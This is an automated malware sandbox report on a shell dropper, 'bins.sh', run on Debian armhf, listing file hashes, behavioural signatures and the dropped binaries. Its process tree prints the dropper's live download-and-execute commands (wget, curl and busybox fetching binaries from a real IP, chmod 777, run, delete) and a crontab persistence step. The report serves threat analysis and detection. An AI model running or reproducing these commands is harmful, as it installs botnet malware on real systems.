Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 05:09

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3161c78707f178deb4c81f884eb712fc

  • SHA1

    823bd6621021135792463154ec8887b83970fe1a

  • SHA256

    d16d7fa2defffc526b1f8dcbe3f082ac5cd8d1015d2bcda576076b922eea8d30

  • SHA512

    ed1bbdc75c2aaccc1993ec236a20df1126eeac8b163258f90dd688b64654c7dea551d09fa356355f51e8d16a4764514cdd35b5997cd8844aaec73361ed0b160a

  • SSDEEP

    192:ZwEmNFBkT9fnNQs+E+9Q8bcfnPa2og8V4brwEmNFKVfnNQs1AQ88fnPa2sg8q:ZwEmNFBkT9fnNQs+E+Ttg8V4brwEmNFy

Malware Config

Signatures

  • Contacts a large (1716) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:651
        • /usr/bin/wget
          wget http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:657
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:673
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod 777 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          ./d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Executes dropped EXE
          PID:684
        • /bin/rm
          rm d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
            PID:687
          • /usr/bin/wget
            wget http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Writes file to tmp directory
            PID:688
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:689
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Writes file to tmp directory
            PID:692
          • /bin/chmod
            chmod 777 kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • File and Directory Permissions Modification
            PID:695
          • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            ./kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Executes dropped EXE
            PID:696
          • /bin/rm
            rm kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
              PID:699
            • /usr/bin/wget
              wget http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:700
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:707
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:715
            • /bin/chmod
              chmod 777 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • File and Directory Permissions Modification
              PID:719
            • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              ./4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Executes dropped EXE
              PID:720
            • /bin/rm
              rm 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
                PID:723
              • /usr/bin/wget
                wget http://216.126.231.240/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Writes file to tmp directory
                PID:724
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:731
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Writes file to tmp directory
                PID:742
              • /bin/chmod
                chmod 777 9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • File and Directory Permissions Modification
                PID:746
              • /tmp/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                ./9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Executes dropped EXE
                PID:748
              • /bin/rm
                rm 9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                  PID:751
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:752
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:757
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:758
                • /bin/chmod
                  chmod 777 CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • File and Directory Permissions Modification
                  PID:759
                • /tmp/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  ./CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Executes dropped EXE
                  PID:760
                • /bin/rm
                  rm CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                    PID:762
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • Writes file to tmp directory
                    PID:763
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:769
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • Writes file to tmp directory
                    PID:777
                  • /bin/chmod
                    chmod 777 NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • File and Directory Permissions Modification
                    PID:781
                  • /tmp/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    ./NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:782
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:785
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:786
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:787
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:789
                        • /bin/rm
                          rm NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                          2⤵
                            PID:793
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                            2⤵
                              PID:797
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                              2⤵
                                PID:798
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                                2⤵
                                • Writes file to tmp directory
                                PID:881
                              • /bin/chmod
                                chmod 777 p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                                2⤵
                                • File and Directory Permissions Modification
                                PID:884
                              • /tmp/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                                ./p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                                2⤵
                                • Executes dropped EXE
                                PID:885
                              • /bin/rm
                                rm p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                                2⤵
                                  PID:886
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                                  2⤵
                                    PID:888

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /tmp/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /var/spool/cron/crontabs/tmp.xFxpxC

                                  Filesize

                                  210B

                                  MD5

                                  4ed7295d9ae5d22dca17a252a5937cbf

                                  SHA1

                                  4f63c21cfbc8abde094bfbd848e80f02fbe722dc

                                  SHA256

                                  066e8b341096ba6d467fe33e8db621d10710923a175c7a1432cd0d685b07617b

                                  SHA512

                                  22533988e0cce21905e783979fc3fe0cb9e675d314a83a5c3bb68186cb39181746c555e74b548828b42f1b5e6a86ee75b79f65fa0fefa043a3a8df9f14ca3654